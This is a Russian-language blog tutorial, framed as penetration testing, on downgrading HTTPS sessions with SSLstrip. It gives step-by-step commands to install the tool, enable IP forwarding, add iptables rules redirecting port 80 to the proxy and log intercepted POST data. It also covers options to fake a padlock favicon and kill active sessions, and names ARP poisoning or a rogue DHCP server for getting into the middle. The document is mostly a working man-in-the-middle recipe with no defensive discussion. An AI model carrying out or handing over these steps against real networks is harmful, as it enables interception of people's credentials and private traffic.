Во время тестирования на проникновение часто хочется посмотреть что же происходит в HTTPS сессиях между клиентом и сервером, а так же получить из этих сессий полезные данные.
Один из способов обхода HTTPS, чтобы перехватить трафик это разбить сессию пользователя на два участка, используя специализированный прокси-сервер.
Первый участок от клиента до прокси сервера будет идти по протоколу HTTP, а второй участок, от прокси до сервера будет проходить, как и должен, по шифрованному соединению.
[ad name=»MiBand2″]
В реализации такой атаки нам понадобится SSLstrip, который позволяет разрезать сессию на две части и перехватить трафик для дальнейшего анализа, а так же предоставлять автоматические редиректы на динамически создаваемые HTTP двойники страниц.
Установим требуемые пакеты:
apt-get install sslstrip
Далее разрешим пересылку пакетов:
echo "1" > /proc/sys/net/ipv4/ip_forward
echo "1" > /proc/sys/net/ipv4/ip_forward
Для постоянного форвардинга открываем файл /etc/sysctl.conf и меняем (или раскомментировать) в нем строки:
net.ipv4.ip_forward=1 net.ipv6.conf.all.forwarding=1
после этого обновляем переменные:
sysctl -p /etc/sysctl.conf
cat /proc/sys/net/ipv4/ip_forward
Теперь переадресуем пакеты, идущие на 80-й порт на порт нашего прокси (такие же правила можно включить и для других часто применяемых HTTP портов, таких как 8080, 3128 и т.д.):
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
где,
80 — стандартный HTTP порт;
8080 — порт, на котором будет работать SSLstrip.
Для нескольких портов правило будет выглядеть немного по другому:
iptables -t nat -A PREROUTING -p tcp -m tcp -m multiport --dports 80,8080,3128 -j REDIRECT --to-ports 8080
Не забывайте, что iptables сбрасывает правила при перезагрузке.
Для сохранения текущих активных правил воспользуемся утилитой iptables-save:
iptables-save > /etc/iptables/iptables.rules
данная команда сохранит активную конфигурацию в файл /etc/iptables/iptables.rules (естественно он должен быть доступен на запись).
И соответственно для восстановления:
iptables-restore < /etc/iptables/iptables.rules
Так же у iptables-save есть полезный параметр:
-t имя_таблицы — ограничиться конкретной таблицей.
А у iptables-restore несколько параметров:
-T имя_таблицы — ограничиться конкретной таблицей;
-n — не очищать таблицы перед восстановлением (только добавить правила).
Далее запустим
SSLstrip: sslstrip -w sslstrip.log -l 8080
Использованные параметры:
-w sslstrip.log файл лога, в который будет записываться все самое интересное.
-l 8080 порт, на котором будет работать прокси.
Остальные параметры, которые можно использовать:
-p — записывать только SSL POST запросы (используется по-умолчанию);
-s — записывать весь SSL трафик (от сервера и к серверу);
-a — записывать весь SSL и HTTP трафик (от сервера и к серверу)
-f — подменить иконку сайта на замок (имитация безопасных сайтов).
-k — Убить текущие активные сессии.
Остается только встать посередине между клиентом и маршрутизатором. Для этого потребуется провести какую-либо MitM атаку. Например ARP poisoning, которая описана в статье Проведение ARP poisoning атаки или Rogue DHCP Server, который описан в статье Yersinia — Создание поддельного DHCP (Rogue DHCP) сервера.
Так же теперь множество трафика пойдет в открытом виде и его можно анализировать в различных сниффера и программах анализа, таких как: Ettercap, Wireshark, urlsnarf и т.д.
При подготовке статьи, использовались материалы сайта — http://blackdiver.net/it/linux/4027
1 comments On Обход HTTPS с помощью SSLSTRIP.
Pingback: Как создать поддельную точку доступа ROGUE AP - Cryptoworld ()